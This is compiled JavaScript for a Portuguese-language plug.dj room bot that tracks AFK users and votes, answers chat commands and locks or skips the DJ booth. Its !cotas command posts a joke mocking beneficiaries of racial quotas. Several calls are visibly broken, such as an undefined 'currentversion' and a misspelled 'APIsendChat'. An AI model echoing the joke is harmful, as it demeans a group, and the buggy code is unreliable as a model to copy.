Leandropesao / Descrasa// Generated by CoffeeScript 1.6.2 (function() { var Command, RoomHelper, User, addCommand, afkCheck, afksCommand, allAfksCommand, announceCurate, antispam, apiHooks, avgVoteRatioCommand, chatCommandDispatcher, chatUniversals, cmds, data, dieCommand, disconnectLookupCommand, fans, handleNewSong, handleUserJoin, handleUserLeave, handleVote, hook, initEnvironment, initHooks, initialize, lockCommand, lockskipCommand, msToStr, newSongsCommand, newsCommand, populateUserData, channelCommand, pupOnline, reloadCommand, removeCommand, roomHelpCommand, rulesCommand, settings, skipCommand, staffCommand, statusCommand, themeCommand, undoHooks, unhook, unlockCommand, updateVotes, versionCommand, voteRatioCommand, ref, _ref1, _ref10, _ref11, _ref12, _ref13, _ref14, _ref15, _ref16, _ref17, _ref18, _ref19, _ref2, _ref20, _ref21, _ref3, _ref4, _ref5, _ref6, _ref7, _ref8, _ref9, __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; }, __indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (_hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; settings = (function() { function settings() { this.implode = __bind(this.implode, this); this.intervalMessages = __bind(this.intervalMessages, this); this.startAfkInterval = __bind(this.startAfkInterval, this); this.setInternalWaitlist = __bind(this.setInternalWaitlist, this); this.userJoin = __bind(this.userJoin, this); this.getRoomUrlPath = __bind(this.getRoomUrlPath, this); this.startup = __bind(this.startup, this); } settings.prototype.currentsong = {}; settings.prototype.users = {}; settings.prototype.djs = []; settings.prototype.mods = []; settings.prototype.host = []; settings.prototype.hasWarned = false; settings.prototype.currentwoots = 0; settings.prototype.currentmehs = 0; settings.prototype.currentcurates = 0; settings.prototype.roomUrlPath = null; settings.prototype.internalWaitlist = []; settings.prototype.userDisconnectLog = []; settings.prototype.voteLog = {}; settings.prototype.seshOn = false; settings.prototype.forceSkip = false; settings.prototype.seshMembers = []; settings.prototype.launchTime = null; settings.prototype.totalVotingData = { woots: 0, mehs: 0, curates: 0 }; settings.prototype.pupScriptUrl = 'https://dl.dropbox.com/u/21023321/TastycatBot.js'; settings.prototype.afkTime = 666 * 60 * 1000; settings.prototype.songIntervalMessages = [ { interval: 7, offset: 0, msg: "Entrem na nossa pagina: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl" }, { interval: 5, offset: 0, msg: "Mantenha-se ativo no bate-papo e Votando. Ser não sera Retirado da Lista de DJ e da Cabine!" } ]; settings.prototype.songCount = 0; settings.prototype.startup = function() { this.launchTime = new Date(); return this.roomUrlPath = this.getRoomUrlPath(); }; settings.prototype.getRoomUrlPath = function() { return window.location.pathname.replace(/\//g, ''); }; settings.prototype.newSong = function() { this.totalVotingData.woots += this.currentwoots; this.totalVotingData.mehs += this.currentmehs; this.totalVotingData.curates += this.currentcurates; this.setInternalWaitlist(); this.currentsong = API.getMedia(); if (this.currentsong !== null) { return this.currentsong; } else { return false; } }; settings.prototype.userJoin = function(u) { var userIds, _ref; userIds = Object.keys(this.users); if (_ref = u.id, __indexOf.call(userIds, _ref) >= 0) { return this.users[u.id].inRoom(true); } else { this.users[u.id] = new User(u); return this.voteLog[u.id] = {}; } }; settings.prototype.setInternalWaitlist = function() { var boothWaitlist, fullWaitList, lineWaitList; boothWaitlist = API.getDJs().slice(1); lineWaitList = API.getWaitList(); fullWaitList = boothWaitlist.concat(lineWaitList); return this.internalWaitlist = fullWaitList; }; settings.prototype.activity = function(obj) { if (obj.type === 'message') { return this.users[obj.fromID].updateActivity(); } }; settings.prototype.startAfkInterval = function() { return this.afkInterval = setInterval(afkCheck, 2000); }; settings.prototype.intervalMessages = function() { var msg, _i, _len, _ref, _results; this.songCount++; _ref = this.songIntervalMessages; _results = []; for (_i = 0, _len = _ref.length; _i < _len; _i++) { msg = _ref[_i]; if (((this.songCount + msg['offset']) % msg['interval']) === 0) { _results.push(API.sendChat(msg['msg'])); } else { _results.push(void 0); } } return _results; }; settings.prototype.implode = function() { var item, val; for (item in this) { val = this[item]; if (typeof this[item] === 'object') { delete this[item]; } } return clearInterval(this.afkInterval); }; settings.prototype.lockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": true, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; settings.prototype.unlockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": false, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; return settings; })(); data = new settings(); User = (function() { User.prototype.afkWarningCount = 0; User.prototype.lastWarning = null; User.prototype["protected"] = false; User.prototype.isInRoom = true; function User(user) { this.user = user; this.updateVote = __bind(this.updateVote, this); this.inRoom = __bind(this.inRoom, this); this.notDj = __bind(this.notDj, this); this.warn = __bind(this.warn, this); this.getIsDj = __bind(this.getIsDj, this); this.getWarningCount = __bind(this.getWarningCount, this); this.getUser = __bind(this.getUser, this); this.getLastWarning = __bind(this.getLastWarning, this); this.getLastActivity = __bind(this.getLastActivity, this); this.getLastDrinkTime = __bind(this.getLastDrinkTime, this); this.updateDrinkTime = __bind(this.updateDrinkTime, this); this.updateActivity = __bind(this.updateActivity, this); this.init = __bind(this.init, this); this.init(); } User.prototype.init = function() { this.lastActivity = new Date(); return this.drinkTime = new Date(); }; User.prototype.updateActivity = function() { this.lastActivity = new Date(); this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.updateDrinkTime = function() { return this.drinkTime = new Date(); }; User.prototype.getLastDrinkTime = function() { return this.drinkTime; }; User.prototype.getLastActivity = function() { return this.lastActivity; }; User.prototype.getLastWarning = function() { if (this.lastWarning === null) { return false; } else { return this.lastWarning; } }; User.prototype.getUser = function() { return this.user; }; User.prototype.getWarningCount = function() { return this.afkWarningCount; }; User.prototype.getIsDj = function() { var DJs, dj, _i, _len; DJs = API.getDJs(); for (_i = 0, _len = DJs.length; _i < _len; _i++) { dj = DJs[_i]; if (this.user.id === dj.id) { return true; } } return false; }; User.prototype.warn = function() { this.afkWarningCount++; return this.lastWarning = new Date(); }; User.prototype.notDj = function() { this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.inRoom = function(online) { return this.isInRoom = online; }; User.prototype.updateVote = function(v) { if (this.isInRoom) { return data.voteLog[this.user.id][data.currentsong.id] = v; } }; return User; })(); RoomHelper = (function() { function RoomHelper() {} RoomHelper.prototype.lookupUser = function(username) { var id, u, _ref; _ref = data.users; for (id in _ref) { u = _ref[id]; if (u.getUser().username === username) { return u.getUser(); } } return false; }; RoomHelper.prototype.userVoteRatio = function(user) { var songId, songVotes, vote, votes; songVotes = data.voteLog[user.id]; votes = { 'woot': 0, 'meh': 0 }; for (songId in songVotes) { vote = songVotes[songId]; if (vote === 1) { votes['woot']++; } else if (vote === -1) { votes['meh']++; } } votes['positiveRatio'] = (votes['woot'] / (votes['woot'] + votes['meh'])).toFixed(2); return votes; }; return RoomHelper; })(); pupOnline = function() { var currentversion, me, myname; me = API.getSelf(); myname = me.username; currentversion = "1.0.0"; log("BOT editado pelo Rafal Moraes versão " + currentversion + " Chupa Jô"); return API.sendChat("/me on"); }; populateUserData = function() { var u, users, _i, _len; users = API.getUsers(); for (_i = 0, _len = users.length; _i < _len; _i++) { u = users[_i]; data.users[u.id] = new User(u); data.voteLog[u.id] = {}; } }; initEnvironment = function() { document.getElementById("button-vote-positive").click(); document.getElementById("button-sound").click(); Playback.streamDisabled = true; return Playback.stop(); }; initialize = function() { pupOnline(); populateUserData(); initEnvironment(); initHooks(); data.startup(); data.newSong(); return data.startAfkInterval(); }; afkCheck = function() { var DJs, id, lastActivity, lastWarned, now, secsLastActive, timeSinceLastActivity, timeSinceLastWarning, twoMinutes, user, _ref, _results; _ref = data.users; _results = []; for (id in _ref) { user = _ref[id]; now = new Date(); lastActivity = user.getLastActivity(); timeSinceLastActivity = now.getTime() - lastActivity.getTime(); if (timeSinceLastActivity > data.afkTime) { if (user.getIsDj()) { secsLastActive = timeSinceLastActivity / 1000; if (user.getWarningCount() === 0) { user.warn(); _results.push(API.sendChat("@" + user.getUser().username + ", Você não falou no chat nos ultimos 30 minutos, por favor fale alguma coisa em 4 minutos ou será kickado da line de dj.")); } else if (user.getWarningCount() === 1) { lastWarned = user.getLastWarning(); timeSinceLastWarning = now.getTime() - lastWarned.getTime(); twoMinutes = 4 * 60 * 1000; if (timeSinceLastWarning > twoMinutes) { DJs = API.getDJs(); if (DJs.length > 0 && DJs[0].id !== user.getUser().id) { API.sendChat("@" + user.getUser().username + ", você foi avisado, fique ativo enquanto está na line."); API.moderateRemoveDJ(id); _results.push(user.warn()); } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(user.notDj()); } } else { _results.push(void 0); } } return _results; }; msToStr = function(msTime) { var ms, msg, timeAway; msg = ''; timeAway = { 'days': 0, 'hours': 0, 'minutes': 0, 'seconds': 0 }; ms = { 'day': 24 * 60 * 60 * 1000, 'hour': 60 * 60 * 1000, 'minute': 60 * 1000, 'second': 1000 }; if (msTime > ms['day']) { timeAway['days'] = Math.floor(msTime / ms['day']); msTime = msTime % ms['day']; } if (msTime > ms['hour']) { timeAway['hours'] = Math.floor(msTime / ms['hour']); msTime = msTime % ms['hour']; } if (msTime > ms['minute']) { timeAway['minutes'] = Math.floor(msTime / ms['minute']); msTime = msTime % ms['minute']; } if (msTime > ms['second']) { timeAway['seconds'] = Math.floor(msTime / ms['second']); } if (timeAway['days'] !== 0) { msg += timeAway['days'].toString() + 'd'; } if (timeAway['hours'] !== 0) { msg += timeAway['hours'].toString() + 'h'; } if (timeAway['minutes'] !== 0) { msg += timeAway['minutes'].toString() + 'm'; } if (timeAway['seconds'] !== 0) { msg += timeAway['seconds'].toString() + 's'; } if (msg !== '') { return msg; } else { return false; } }; Command = (function() { function Command(msgData) { this.msgData = msgData; this.init(); } Command.prototype.init = function() { this.parseType = null; this.command = null; return this.rankPrivelege = null; }; Command.prototype.functionality = function(data) {}; Command.prototype.hasPrivelege = function() { var user; user = data.users[this.msgData.fromID].getUser(); switch (this.rankPrivelege) { case 'host': return user.permission >= 5; case 'cohost': return user.permission >= 4; case 'mod': return user.permission >= 3; case 'manager': return user.permission >= 3; case 'bouncer': return user.permission >= 2; case 'featured': return user.permission >= 1; default: return true; } }; Command.prototype.commandMatch = function() { var command, msg, _i, _len, _ref; msg = this.msgData.message; if (typeof this.command === 'string') { if (this.parseType === 'exact') { if (msg === this.command) { return true; } else { return false; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, this.command.length) === this.command) { return true; } else { return false; } } else if (this.parseType === 'contains') { if (msg.indexOf(this.command) !== -1) { return true; } else { return false; } } } else if (typeof this.command === 'object') { _ref = this.command; for (_i = 0, _len = _ref.length; _i < _len; _i++) { command = _ref[_i]; if (this.parseType === 'exact') { if (msg === command) { return true; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, command.length) === command) { return true; } } else if (this.parseType === 'contains') { if (msg.indexOf(command) !== -1) { return true; } } } return false; } }; Command.prototype.evalMsg = function() { if (this.commandMatch() && this.hasPrivelege()) { this.functionality(); return true; } else { return false; } }; return Command; })(); newsCommand = (function(_super) { __extends(newsCommand, _super); function newsCommand() { _ref = newsCommand.__super__.constructor.apply(this, arguments); return _ref; } newsCommand.prototype.init = function() { this.command = '!cotas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newsCommand.prototype.functionality = function() { var msg; msg = "/me Acaba de Ativar modo Cota e roubou sua vaga na Faculdade e sua vez na Cabine de DJ!"; return API.sendChat(msg); }; return newsCommand; })(Command); newSongsCommand = (function(_super) { __extends(newSongsCommand, _super); function newSongsCommand() { _ref1 = newSongsCommand.__super__.constructor.apply(this, arguments); return _ref1; } newSongsCommand.prototype.init = function() { this.command = '!musicanovas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newSongsCommand.prototype.functionality = function() { var arts, cMedia, chans, chooseRandom, mChans, msg, selections, u, _ref2; mChans = this.memberChannels.slice(0); chans = this.channels.slice(0); arts = this.artists.slice(0); chooseRandom = function(list) { var l, r; l = list.length; r = Math.floor(Math.random() * l); return list.splice(r, 1); }; selections = { channels: [], artist: '' }; u = data.users[this.msgData.fromID].getUser().username; if (u.indexOf("MistaDubstep") !== -1) { selections['channels'].push('MistaDubstep'); } else if (u.indexOf("Underground Promotions") !== -1) { selections['channels'].push('UndergroundDubstep'); } else { selections['channels'].push(chooseRandom(mChans)); } selections['channels'].push(chooseRandom(chans)); selections['channels'].push(chooseRandom(chans)); cMedia = API.getMedia(); if (_ref2 = cMedia.author, __indexOf.call(arts, _ref2) >= 0) { selections['artist'] = cMedia.author; } else { selections['artist'] = chooseRandom(arts); } msg = "Querem musica de Dubstep do " + selections['artist'] + " entre! Tem musicas nova sempre em http://youtube.com/" + selections['channels'][0] + " http://youtube.com/" + selections['channels'][1] + " ou http://youtube.com/" + selections['channels'][2]; return API.sendChat(msg); }; newSongsCommand.prototype.memberChannels = ["MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.channels = ["BassRape", "MonstercatMedia", "UKFdubstep", "DropThatBassline", "VitalDubstep", "AirwaveDubstepTV", "InspectorDubplate", "TehDubstepChannel", "UNITEDubstep", "LuminantNetwork", "TheSoundIsle", "PandoraMuslc", "MrSuicideSheep", "HearTheSensation", "bassoutletpromos", "MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.artists = ["Doctor P", "Excision", "Flux Pavilion", "Knife Party", "Rusko", "Bassnectar", "Nero", "Deadmau5", "Borgore", "Zomboy"]; return newSongsCommand; })(Command); themeCommand = (function(_super) { __extends(themeCommand, _super); function themeCommand() { _ref2 = themeCommand.__super__.constructor.apply(this, arguments); return _ref2; } themeCommand.prototype.init = function() { this.command = '!tema'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; themeCommand.prototype.functionality = function() { var msg; msg = "Temas permitidos aqui na sala. electro, techno, "; msg += "dubstep."; return API.sendChat(msg); }; return themeCommand; })(Command); rulesCommand = (function(_super) { __extends(rulesCommand, _super); function rulesCommand() { _ref3 = rulesCommand.__super__.constructor.apply(this, arguments); return _ref3; } rulesCommand.prototype.init = function() { this.command = '!regras'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; rulesCommand.prototype.functionality = function() { var msg1, msg2; msg1 = " 1) Video no Maximo 6 minutos. "; msg1 += " 2) Sem Flood! "; msg1 += " 3) Nao escrever em colorido "; msg1 += " 4) Respeitar os Adms e Mods;s "; msg1 += " 5) Nao Fiquem Pedindo Cargos "; msg2 = "Curta: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl"; msg2 += ""; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return rulesCommand; })(Command); roomHelpCommand = (function(_super) { __extends(roomHelpCommand, _super); function roomHelpCommand() { _ref4 = roomHelpCommand.__super__.constructor.apply(this, arguments); return _ref4; } roomHelpCommand.prototype.init = function() { this.command = '!ajuda'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; roomHelpCommand.prototype.functionality = function() { var msg1, msg2; msg1 = "Bem vindo a Sala! Para ser o DJ, Criar uma lista de reprodução e coloque Musica do Youtube ou soundcloud. "; msg1 += "Se é novo procure pelo seu nome na sua tela (do lado da cabine de dj e clique) e depois mude o nome."; msg2 = "Para Ganhar Pontos é só clica em Bacana. "; msg2 += "Digite !regras pare ler as porra das regras."; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return roomHelpCommand; })(Command); afksCommand = (function(_super) { __extends(afksCommand, _super); function afksCommand() { _ref5 = afksCommand.__super__.constructor.apply(this, arguments); return _ref5; } afksCommand.prototype.init = function() { this.command = '!afks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; afksCommand.prototype.functionality = function() { var dj, djAfk, djs, msg, now, _i, _len; msg = ''; djs = API.getDJs(); for (_i = 0, _len = djs.length; _i < _len; _i++) { dj = djs[_i]; now = new Date(); djAfk = now.getTime() - data.users[dj.id].getLastActivity().getTime(); if (djAfk > (5 * 60 * 1000)) { if (msToStr(djAfk) !== false) { msg += dj.username + ' - ' + msToStr(djAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return afksCommand; })(Command); allAfksCommand = (function(_super) { __extends(allAfksCommand, _super); function allAfksCommand() { _ref6 = allAfksCommand.__super__.constructor.apply(this, arguments); return _ref6; } allAfksCommand.prototype.init = function() { this.command = '!todosafks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; allAfksCommand.prototype.functionality = function() { var msg, now, u, uAfk, usrs, _i, _len; msg = ''; usrs = API.getUsers(); for (_i = 0, _len = usrs.length; _i < _len; _i++) { u = usrs[_i]; now = new Date(); uAfk = now.getTime() - data.users[u.id].getLastActivity().getTime(); if (uAfk > (10 * 60 * 1000)) { if (msToStr(uAfk) !== false) { msg += u.username + ' - ' + msToStr(uAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return allAfksCommand; })(Command); statusCommand = (function(_super) { __extends(statusCommand, _super); function statusCommand() { _ref7 = statusCommand.__super__.constructor.apply(this, arguments); return _ref7; } statusCommand.prototype.init = function() { this.command = '!status'; this.parseType = 'exact'; return this.rankPrivelege = 'featured'; }; statusCommand.prototype.functionality = function() { var day, hour, launch, lt, meridian, min, month, msg, t, totals; lt = data.launchTime; month = lt.getMonth() + 1; day = lt.getDate(); hour = lt.getHours(); meridian = hour % 12 === hour ? 'AM' : 'PM'; min = lt.getMinutes(); min = min < 10 ? '0' + min : min; t = data.totalVotingData; t['songs'] = data.songCount; launch = 'Iniciada em ' + month + '/' + day + ' ' + hour + ':' + min + ' ' + meridian + '. '; totals = '' + t.songs + ' Teve: :+1: ' + t.woots + ',:-1: ' + t.mehs + ',:heart: ' + t.curates + '.' msg = launch + totals; return API.sendChat(msg); }; return statusCommand; })(Command); dieCommand = (function(_super) { __extends(dieCommand, _super); function dieCommand() { _ref8 = dieCommand.__super__.constructor.apply(this, arguments); return _ref8; } dieCommand.prototype.init = function() { this.command = '!adeus'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; dieCommand.prototype.functionality = function() { API.sendChat("Acho que fui envenenado!"); undoHooks(); API.sendChat("Vish,"); data.implode(); return API.sendChat("Morri! x_x"); }; return dieCommand; })(Command); reloadCommand = (function(_super) { __extends(reloadCommand, _super); function reloadCommand() { _ref9 = reloadCommand.__super__.constructor.apply(this, arguments); return _ref9; } reloadCommand.prototype.init = function() { this.command = '!reload'; this.parseType = 'exact'; return this.rankPrivelege = 'Host'; }; reloadCommand.prototype.functionality = function() { var pupSrc; API.sendChat('/me Não se Preocupe o Papai Chegou'); undoHooks(); pupSrc = data.pupScriptUrl; data.implode(); return $.getScript(pupSrc); }; return reloadCommand; })(Command); lockCommand = (function(_super) { __extends(lockCommand, _super); function lockCommand() { _ref10 = lockCommand.__super__.constructor.apply(this, arguments); return _ref10; } lockCommand.prototype.init = function() { this.command = '!trava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; lockCommand.prototype.functionality = function() { return data.lockBooth(); }; return lockCommand; })(Command); unlockCommand = (function(_super) { __extends(unlockCommand, _super); function unlockCommand() { _ref11 = unlockCommand.__super__.constructor.apply(this, arguments); return _ref11; } unlockCommand.prototype.init = function() { this.command = '!destrava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; unlockCommand.prototype.functionality = function() { return data.unlockBooth(); }; return unlockCommand; })(Command); removeCommand = (function(_super) { __extends(removeCommand, _super); function removeCommand() { _ref12 = removeCommand.__super__.constructor.apply(this, arguments); return _ref12; } removeCommand.prototype.init = function() { this.command = '!remove'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; removeCommand.prototype.functionality = function() { var djs, popDj; djs = API.getDJs(); popDj = djs[djs.length - 1]; return API.moderateRemoveDJ(popDj.id); }; return removeCommand; })(Command); addCommand = (function(_super) { __extends(addCommand, _super); function addCommand() { _ref13 = addCommand.__super__.constructor.apply(this, arguments); return _ref13; } addCommand.prototype.init = function() { this.command = '!add'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; addCommand.prototype.functionality = function() { var msg, name, r, user; msg = this.msgData.message; if (msg.length > this.command.length + 2) { name = msg.substr(this.command.length + 2); r = new RoomHelper(); user = r.lookupUser(name); if (user !== false) { API.moderateAddDJ(user.id); return setTimeout((function() { return data.unlockBooth(); }), 5000); } } }; return addCommand; })(Command); skipCommand = (function(_super) { __extends(skipCommand, _super); function skipCommand() { _ref14 = skipCommand.__super__.constructor.apply(this, arguments); return _ref14; } skipCommand.prototype.init = function() { this.command = '!pula'; this.parseType = 'exact'; this.rankPrivelege = 'bouncer'; return window.lastSkipTime; }; skipCommand.prototype.functionality = function() { var currentTime, millisecondsPassed; currentTime = new Date(); if (!window.lastSkipTime) { API.moderateForceSkip(); return window.lastSkipTime = currentTime; } else { millisecondsPassed = Math.round(currentTime.getTime() - window.lastSkipTime.getTime()); if (millisecondsPassed > 10000) { window.lastSkipTime = currentTime; return API.moderateForceSkip(); } } }; return skipCommand; })(Command); disconnectLookupCommand = (function(_super) { __extends(disconnectLookupCommand, _super); function disconnectLookupCommand() { _ref15 = disconnectLookupCommand.__super__.constructor.apply(this, arguments); return _ref15; } disconnectLookupCommand.prototype.init = function() { this.command = '!dcmembros'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; disconnectLookupCommand.prototype.functionality = function() { var cmd, dcHour, dcLookupId, dcMeridian, dcMins, dcSongsAgo, dcTimeStr, dcUser, disconnectInstances, givenName, id, recentDisconnect, resp, u, _i, _len, _ref16, _ref17; cmd = this.msgData.message; if (cmd.length > 11) { givenName = cmd.slice(11); _ref16 = data.users; for (id in _ref16) { u = _ref16[id]; if (u.getUser().username === givenName) { dcLookupId = id; disconnectInstances = []; _ref17 = data.userDisconnectLog; for (_i = 0, _len = _ref17.length; _i < _len; _i++) { dcUser = _ref17[_i]; if (dcUser.id === dcLookupId) { disconnectInstances.push(dcUser); } } if (disconnectInstances.length > 0) { resp = u.getUser().username + ' disconectou ' + disconnectInstances.length.toString() + ' '; if (disconnectInstances.length === 1) { resp += '. '; } else { resp += 's. '; } recentDisconnect = disconnectInstances.pop(); dcHour = recentDisconnect.time.getHours(); dcMins = recentDisconnect.time.getMinutes(); if (dcMins < 10) { dcMins = '0' + dcMins.toString(); } dcMeridian = dcHour % 12 === dcHour ? 'AM' : 'PM'; dcTimeStr = '' + dcHour + ':' + dcMins + ' ' + dcMeridian; dcSongsAgo = data.songCount - recentDisconnect.songCount; resp += 'O seu disconect mais recente foi á ' + dcTimeStr + ' (' + dcSongsAgo + ' músicas atras). '; if (recentDisconnect.waitlistPosition !== void 0) { resp += 'Ele estava ' + recentDisconnect.waitlistPosition + ' música'; if (recentDisconnect.waitlistPosition > 1) { resp += 's'; } resp += ' atras da cabine de dj.'; } else { resp += 'Ele não estava na cabine de dj.'; } API.sendChat(resp); return; } else { API.sendChat(" " + u.getUser().username + " não disconectou."); return; } } } return API.sendChat("Eu não vejo essa pessoa na sala '" + givenName + "'."); } }; return disconnectLookupCommand; })(Command); voteRatioCommand = (function(_super) { __extends(voteRatioCommand, _super); function voteRatioCommand() { _ref16 = voteRatioCommand.__super__.constructor.apply(this, arguments); return _ref16; } voteRatioCommand.prototype.init = function() { this.command = '!voteratio'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; voteRatioCommand.prototype.functionality = function() { var msg, name, r, u, votes; r = new RoomHelper(); msg = this.msgData.message; if (msg.length > 12) { name = msg.substr(12); u = r.lookupUser(name); if (u !== false) { votes = r.userVoteRatio(u); msg = u.username + " :+1: " + votes['woot'].toString() + " vez"; if (votes['woot'] === 1) { msg += ', '; } else { msg += 'es, '; } msg += "e :-1: " + votes['meh'].toString() + " veze"; if (votes['meh'] === 1) { msg += '. '; } else { msg += 'es. '; } msg += "O seu vote ratio é: " + votes['positiveRatio'].toString() + "."; return API.sendChat(msg); } else { return API.sendChat("Não parece ter alguém com esse nome de'" + name + "'"); } } else { return API.sendChat("Você quer alguma coisa? Ou você está apenas tentando me irritar."); } }; return voteRatioCommand; })(Command); avgVoteRatioCommand = (function(_super) { __extends(avgVoteRatioCommand, _super); function avgVoteRatioCommand() { _ref17 = avgVoteRatioCommand.__super__.constructor.apply(this, arguments); return _ref17; } avgVoteRatioCommand.prototype.init = function() { this.command = '!avgvoteratio'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; avgVoteRatioCommand.prototype.functionality = function() { var averageRatio, msg, r, ratio, roomRatios, uid, user, userRatio, votes, _i, _len, _ref18; roomRatios = []; r = new RoomHelper(); _ref18 = data.voteLog; for (uid in _ref18) { votes = _ref18[uid]; user = data.users[uid].getUser(); userRatio = r.userVoteRatio(user); roomRatios.push(userRatio['positiveRatio']); } averageRatio = 0.0; for (_i = 0, _len = roomRatios.length; _i < _len; _i++) { ratio = roomRatios[_i]; averageRatio += ratio; } averageRatio = averageRatio / roomRatios.length; msg = "Accounting for " + roomRatios.length.toString() + " user ratios, the average room ratio is " + averageRatio.toFixed(2).toString() + "."; return API.sendChat(msg); }; return avgVoteRatioCommand; })(Command); staffCommand = (function(_super) { __extends(staffCommand, _super); function staffCommand() { _ref18 = staffCommand.__super__.constructor.apply(this, arguments); return _ref18; } staffCommand.prototype.init = function() { this.command = '!staff'; this.parseType = 'exact'; this.rankPrivelege = 'user'; return window.lastActiveStaffTime; }; staffCommand.prototype.staff = function() { var now, staff, staffAfk, stringstaff, user, _i, _len; staff = API.getStaff(); now = new Date(); stringstaff = ""; for (_i = 0, _len = staff.length; _i < _len; _i++) { user = staff[_i]; if (user.permission > 1) { staffAfk = now.getTime() - data.users[user.id].getLastActivity().getTime(); if (staffAfk < (60 * 60 * 1000)) { stringstaff += "@" + user.username + " "; } } } if (stringstaff.length === 0) { stringstaff = "Aff pqp não tem staff ativo :'("; } return stringstaff; }; staffCommand.prototype.functionality = function() { var currentTime, millisecondsPassed, thestaff; thestaff = this.staff(); currentTime = new Date(); if (!window.lastActiveStaffTime) { API.sendChat(thestaff); return window.lastActiveStaffTime = currentTime; } else { millisecondsPassed = currentTime.getTime() - window.lastActiveStaffTime.getTime(); if (millisecondsPassed > 10000) { window.lastActiveStaffTime = currentTime; return API.sendChat(thestaff); } } }; return staffCommand; })(Command); lockskipCommand = (function(_super) { __extends(lockskipCommand, _super); function lockskipCommand() { _ref19 = lockskipCommand.__super__.constructor.apply(this, arguments); return _ref19; } lockskipCommand.prototype.init = function() { this.command = '!repetida'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; lockskipCommand.prototype.functionality = function() { return data.lockBooth(function() { return setTimeout(function() {}, API.moderateForceSkip(), setTimeout(function() { return data.unlockBooth(); }, 5000), 5000); }); }; return lockskipCommand; })(Command); channelCommand = (function(_super) { __extends(channelCommand, _super); function channelCommand() { _ref20 = channelCommand.__super__.constructor.apply(this, arguments); return _ref20; } channelCommand.prototype.init = function() { this.command = '!comandos'; this.parseType = 'startsWith'; return this.rankPrivelege = 'user'; }; channelCommand.prototype.functionality = function() { return API.sendChat("/em: Lista de comandos: https://www.google.com.br/ _|_"); }; return channelCommand; })(Command); versionCommand = (function(_super) { __extends(versionCommand, _super); function versionCommand() { _ref21 = versionCommand.__super__.constructor.apply(this, arguments); return _ref21; } versionCommand.prototype.init = function() { this.command = '!version'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; versionCommand.prototype.functionality = function() { return API.sendChat("/me BOT editado 1.0 " + currentversion); }; return versionCommand; })(Command); cmds = [newSongsCommand, themeCommand, rulesCommand, roomHelpCommand, afksCommand, allAfksCommand, statusCommand, dieCommand, reloadCommand, lockCommand, unlockCommand, removeCommand, addCommand, skipCommand, disconnectLookupCommand, voteRatioCommand, avgVoteRatioCommand, staffCommand, lockskipCommand, versionCommand, newsCommand, channelCommand]; chatCommandDispatcher = function(chat) { var c, cmd, _i, _len, _results; chatUniversals(chat); _results = []; for (_i = 0, _len = cmds.length; _i < _len; _i++) { cmd = cmds[_i]; c = new cmd(chat); if (c.evalMsg()) { break; } else { _results.push(void 0); } } return _results; }; updateVotes = function(obj) { data.currentwoots = obj.positive; data.currentmehs = obj.negative; return data.currentcurates = obj.curates; }; announceCurate = function(obj) { return APIsendChat("/em: " + obj.user.username + " Gostou dessa Musica!"); }; handleUserJoin = function(user) { data.userJoin(user); return data.users[user.id].updateActivity(); }; handleNewSong = function(obj) { var songId; data.intervalMessages(); if (data.currentsong === null) { data.newSong(); } else { API.sendChat("/em: " + data.currentsong.title + " por " + data.currentsong.author + ". :+1: " + data.currentwoots + ", :-1: " + data.currentmehs + ", :heart: " + 